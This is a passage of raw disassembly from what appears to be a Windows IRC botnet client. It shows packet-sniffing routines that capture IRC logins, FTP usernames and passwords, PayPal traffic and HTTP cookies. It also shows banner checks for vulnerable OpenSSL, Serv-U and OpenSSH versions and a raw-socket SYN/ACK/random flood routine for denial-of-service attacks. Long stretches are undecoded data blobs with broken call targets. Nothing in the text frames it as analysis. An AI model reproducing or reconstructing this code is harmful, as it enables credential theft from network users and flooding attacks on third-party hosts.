aJoin_0 ; "JOIN #" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412F0C loc_412F08: ; CODE XREF: sub_412EAA+71j ; sub_412EAA+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F0C: ; CODE XREF: sub_412EAA+5Cj push offset a302_0 ; "302 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a366 ; "366 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login_0 ; ":.login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aLogin_1 ; ":!login" push esi call sub_41C080 pop ecx test eax, eax pop ecx loc_412F4E: ; DATA XREF: ___:off_43A508o jnz short loc_412F08 push offset aLogin_0 ; ":!Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login ; ":.Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_ident ; ":.ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aIdent_0 ; ":!ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset a_hashin ; ":.hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset aHashin ; ":!hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EAA endp ; =============== S U B R O U T I N E ======================================= sub_412FC1 proc near ; CODE XREF: sub_4131AA+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412FDB loc_412FD7: ; CODE XREF: sub_412FC1+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412FDB: ; CODE XREF: sub_412FC1+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FD7 push offset aOper_0 ; "OPER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413001 loc_412FFD: ; CODE XREF: sub_412FC1+4Fj ; sub_412FC1+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413001: ; CODE XREF: sub_412FC1+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aOper ; "oper " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412FC1 endp ; =============== S U B R O U T I N E ======================================= sub_413037 proc near ; CODE XREF: sub_4131AA+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413051 loc_41304D: ; CODE XREF: sub_413037+29j ; sub_413037+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413051: ; CODE XREF: sub_413037+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset a220 ; "220 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413088 loc_413084: ; CODE XREF: sub_413037+60j ; sub_413037+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_413037+4Bj push offset a230 ; "230 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aUser_3 ; "USER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aPass_1 ; "PASS " push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413037 endp ; =============== S U B R O U T I N E ======================================= sub_4130BE proc near ; CODE XREF: sub_4131AA+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130D8 loc_4130D4: ; CODE XREF: sub_4130BE+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4130D8: ; CODE XREF: sub_4130BE+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130D4 push offset aPaypal ; "paypal" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130FE loc_4130FA: ; CODE XREF: sub_4130BE+4Fj ; sub_4130BE+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130FE: ; CODE XREF: sub_4130BE+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com ; "paypal.com" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4130BE endp ; =============== S U B R O U T I N E ======================================= sub_413145 proc near ; CODE XREF: sub_4131AA:loc_41356Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_41315F loc_41315B: ; CODE XREF: sub_413145+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41315F: ; CODE XREF: sub_413145+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41315B push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413185 loc_413181: ; CODE XREF: sub_413145+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413185: ; CODE XREF: sub_413145+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413181 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131AA proc near ; DATA XREF: sub_401AC7+429Eo var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4C9318 lea eax, [ebp+var_3B8] push eax call dword_4C9388 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CAB0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413250 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413250: ; CODE XREF: sub_4131AA+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jnz short loc_4132C6 call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437098 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132A2 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_4132A2: ; CODE XREF: sub_4131AA+D6j lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_4132C6: ; CODE XREF: sub_4131AA+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4C92B0 cmp eax, 0FFFFFFFFh jnz short loc_41334C call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437068 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413328 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_413328: ; CODE XREF: sub_4131AA+15Cj lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_41334C: ; CODE XREF: sub_4131AA+13Cj mov esi, 200h loc_413351: ; CODE XREF: sub_4131AA+1D6j ; sub_4131AA+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4C931C cmp [ebp+var_113AF], 6 jnz short loc_413351 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413351 cmp [ebp+arg_0], 19h jz short loc_413351 cmp edi, 6Eh jz short loc_413351 cmp edi, 19h jz short loc_413351 push [ebp+var_113AC] call sub_412E9B pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+var_113A8] call sub_412E9B add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C006 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B960 add esp, 10h test eax, eax jle short loc_41344F loc_41341B: ; CODE XREF: sub_4131AA+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413432 mov byte ptr [eax], 20h loc_413432: ; CODE XREF: sub_4131AA+283j cmp byte ptr [eax], 0Ah jnz short loc_41343A mov byte ptr [eax], 20h loc_41343A: ; CODE XREF: sub_4131AA+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B960 cmp [ebp+var_4], eax pop ecx jl short loc_41341B loc_41344F: ; CODE XREF: sub_4131AA+26Fj cmp [ebp+arg_0], 50h jz loc_413502 cmp edi, 50h jz loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412EAA test al, al pop ecx jz short loc_413496 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437034 jmp loc_413531 ; --------------------------------------------------------------------------- loc_413496: ; CODE XREF: sub_4131AA+2C7j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412FC1 test al, al pop ecx jz short loc_4134CC lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437000 jmp short loc_413531 ; --------------------------------------------------------------------------- loc_4134CC: ; CODE XREF: sub_4131AA+300j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_413037 test al, al pop ecx jz short loc_413502 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436FCC jmp short loc_413531 ; --------------------------------------------------------------------------- loc_413502: ; CODE XREF: sub_4131AA+2A9j ; sub_4131AA+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_4130BE test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_41356F lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_436F94 loc_413531: ; CODE XREF: sub_4131AA+2E7j ; sub_4131AA+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C100 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413351 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h jmp loc_413351 ; --------------------------------------------------------------------------- loc_41356F: ; CODE XREF: sub_4131AA+36Ej call sub_413145 test al, al pop ecx jz loc_413351 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436F5C jmp short loc_413531 sub_4131AA endp ; --------------------------------------------------------------------------- byte_41359D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+64A2o dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch dd 80C7A5F3h, 290h, 1, 0D0E9E890h, 0E8500228h, 8A88h, 0FE74858Dh dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h dd 3E85000h, 3300008Ah, 20C483F6h, 75F87539h, 858D5620h dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 90565959h, 2DC9B3E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41364F proc near ; CODE XREF: ___:004139C6p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_41368F xor eax, eax jmp loc_413982 ; --------------------------------------------------------------------------- loc_41368F: ; CODE XREF: sub_41364F+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_41397A push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_413970 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4C9304 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4C9304 mov [ebp+var_12], ax call sub_41C062 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4C9304 push 12345678h mov [ebp+var_14], ax call dword_4C9300 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41375F mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41375F: ; CODE XREF: sub_41364F+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41377B mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41377B: ; CODE XREF: sub_41364F+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4137B3 call sub_41C062 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C062 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137B3: ; CODE XREF: sub_41364F+10Ej ; sub_41364F+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4C9304 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27B048Fh lea eax, [ebp+var_1C] push eax call near ptr 27B01AEh nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DA20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413801: ; CODE XREF: sub_41364F+2E2j ; sub_41364F+2F0j mov [ebp+var_4], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_14], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_413944 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27B01AEh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_41396D jl loc_413801 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_41396D jmp loc_413801 ; --------------------------------------------------------------------------- loc_413944: ; CODE XREF: sub_41364F+2CBj call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_4370EC push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_413970 ; --------------------------------------------------------------------------- loc_41396D: ; CODE XREF: sub_41364F+2E0j ; sub_41364F+2EEj mov ebx, [ebp+arg_8] loc_413970: ; CODE XREF: sub_41364F+78j ; sub_41364F+31Cj push [ebp+var_20] call dword_4C939C pop esi loc_41397A: ; CODE XREF: sub_41364F+5Bj call dword_4C925C mov eax, ebx loc_413982: ; CODE XREF: sub_41364F+3Bj pop edi pop ebx leave retn sub_41364F endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+24h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_41364F add esp, 20h test eax, eax jnz short loc_4139D5 push 1 pop eax loc_4139D5: ; CODE XREF: ___:004139D0j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4139E4 dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h ; DATA XREF: sub_401AC7+667Bo dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h dd 19C9889h, 15FF0000h, 4C9384h, 89FFF883h, 5F75FC45h dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh, 0E8500043h dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022DC5h, 46AF44Dh dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h dd 0FF7BDCE8h, 575959FFh, 0C50AE890h, 858D022Dh, 0FFFFFE48h dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh, 9C68FFFFh dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2DC4A3E8h, 8D106A02h dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h, 4C9304h dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h, 0E8FFFFFEh dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h, 83CEh dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch, 83000080h dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Dh dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7907E8C8h dd 5959FFFFh, 35E89057h ; --------------------------------------------------------------------------- retn 22Dh ; --------------------------------------------------------------------------- byte_413DCB db 55h ; DATA XREF: sub_401AC7+547Do dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h, 0FF40858Dh dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h dd 0E8575959h, 22DC178h, 74C33B90h, 0C408B0Ch, 8B008Bh dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h dd 777BE8D0h, 5959FFFFh, 0A9E89053h db 0C0h, 2Dh, 2 byte_413F57 db 55h ; DATA XREF: sub_401AC7+56C6o dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h dd 0C72DE890h, 0E8500228h, 80CCh, 6A116A59h, 0FF026A02h dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh dd 1CCAh, 0E8E075FFh, 0FFFF769Dh, 90565959h, 2DBFCBE8h dd 0C408B02h, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh dd 415FFDCh, 39004C93h, 8966DC75h, 37DF245h, 0B8DC7589h dd 0FFFFh, 7EDC4539h, 